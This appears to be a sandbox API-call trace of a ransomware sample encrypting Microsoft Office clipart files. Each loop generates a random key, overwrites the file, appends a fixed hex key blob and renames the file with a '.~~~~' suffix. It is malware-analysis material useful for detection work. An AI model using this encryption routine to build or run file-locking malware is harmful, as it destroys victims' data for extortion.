	[0091.007] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.~~~~")) returned 1
	[0091.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d15c0 | out: hHeap=0x300000) returned 1
	[0091.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.008] GetLastError () returned 0x0
	[0091.008] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x28d6e70) returned 1
	[0091.009] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.009] CryptReleaseContext (hProv=0x28d6e70, dwFlags=0x0) returned 1
	[0091.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.009] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21099890015) returned 1
	[0091.009] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa00627b0, dwHighDateTime=0x1d60e1e)) 
	[0091.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381f80
	[0091.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381f80 | out: hHeap=0x300000) returned 1
	[0091.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d15c0
	[0091.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x382d88
	[0091.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d15c0 | out: hHeap=0x300000) returned 1
	[0091.009] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.009] GetLastError () returned 0x0
	[0091.010] GetLastError () returned 0x0
	[0091.010] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.010] GetLastError () returned 0x0
	[0091.010] GetLastError () returned 0x0
	[0091.011] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff12c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.011] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xed4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0xed4, lpOverlapped=0x0) returned 1
	[0091.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.012] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.012] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.012] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.012] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.012] CloseHandle (hObject=0x124) returned 1
	[0091.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d15c0
	[0091.012] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.~~~~")) returned 1
	[0091.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d15c0 | out: hHeap=0x300000) returned 1
	[0091.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.013] GetLastError () returned 0x0
	[0091.013] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x28d6e70) returned 1
	[0091.014] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.014] CryptReleaseContext (hProv=0x28d6e70, dwFlags=0x0) returned 1
	[0091.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.014] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21100444953) returned 1
	[0091.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa00627b0, dwHighDateTime=0x1d60e1e)) 
	[0091.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381fb8
	[0091.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381fb8 | out: hHeap=0x300000) returned 1
	[0091.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d15c0
	[0091.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x382fe8
	[0091.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d15c0 | out: hHeap=0x300000) returned 1
	[0091.015] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.015] GetLastError () returned 0x0
	[0091.015] GetLastError () returned 0x0
	[0091.015] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.015] GetLastError () returned 0x0
	[0091.015] GetLastError () returned 0x0
	[0091.017] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff818, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.017] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x7e8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x7e8, lpOverlapped=0x0) returned 1
	[0091.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.018] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.018] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.018] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.018] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.018] CloseHandle (hObject=0x124) returned 1
	[0091.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.018] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.~~~~")) returned 1
	[0091.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.019] GetLastError () returned 0x0
	[0091.019] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x28d6e70) returned 1
	[0091.020] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.020] CryptReleaseContext (hProv=0x28d6e70, dwFlags=0x0) returned 1
	[0091.020] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.020] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21101063122) returned 1
	[0091.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0088910, dwHighDateTime=0x1d60e1e)) 
	[0091.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381ff0
	[0091.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381ff0 | out: hHeap=0x300000) returned 1
	[0091.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x383080
	[0091.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.021] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.021] GetLastError () returned 0x0
	[0091.021] GetLastError () returned 0x0
	[0091.021] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.021] GetLastError () returned 0x0
	[0091.022] GetLastError () returned 0x0
	[0091.023] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff7dc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.023] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x824, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x824, lpOverlapped=0x0) returned 1
	[0091.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.023] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.023] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.024] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.024] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.024] CloseHandle (hObject=0x124) returned 1
	[0091.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.024] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.~~~~")) returned 1
	[0091.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.024] GetLastError () returned 0x0
	[0091.025] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x28d6e70) returned 1
	[0091.026] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.026] CryptReleaseContext (hProv=0x28d6e70, dwFlags=0x0) returned 1
	[0091.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.026] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21101626424) returned 1
	[0091.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0088910, dwHighDateTime=0x1d60e1e)) 
	[0091.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382028
	[0091.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382028 | out: hHeap=0x300000) returned 1
	[0091.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x383118
	[0091.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.027] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.027] GetLastError () returned 0x0
	[0091.027] GetLastError () returned 0x0
	[0091.027] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.027] GetLastError () returned 0x0
	[0091.027] GetLastError () returned 0x0
	[0091.029] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffa58, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.029] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x5a8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x5a8, lpOverlapped=0x0) returned 1
	[0091.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.029] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.029] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.029] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.029] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.029] CloseHandle (hObject=0x124) returned 1
	[0091.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.029] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.~~~~")) returned 1
	[0091.030] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.030] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.030] GetLastError () returned 0x0
	[0091.030] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x28d6e70) returned 1
	[0091.031] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.031] CryptReleaseContext (hProv=0x28d6e70, dwFlags=0x0) returned 1
	[0091.031] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.031] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21102130236) returned 1
	[0091.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0088910, dwHighDateTime=0x1d60e1e)) 
	[0091.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382098
	[0091.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.031] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382098 | out: hHeap=0x300000) returned 1
	[0091.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3831b0
	[0091.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.032] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.032] GetLastError () returned 0x0
	[0091.032] GetLastError () returned 0x0
	[0091.032] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.032] GetLastError () returned 0x0
	[0091.032] GetLastError () returned 0x0
	[0091.121] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff708, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.121] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x8f8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x8f8, lpOverlapped=0x0) returned 1
	[0091.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.133] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.133] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.133] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
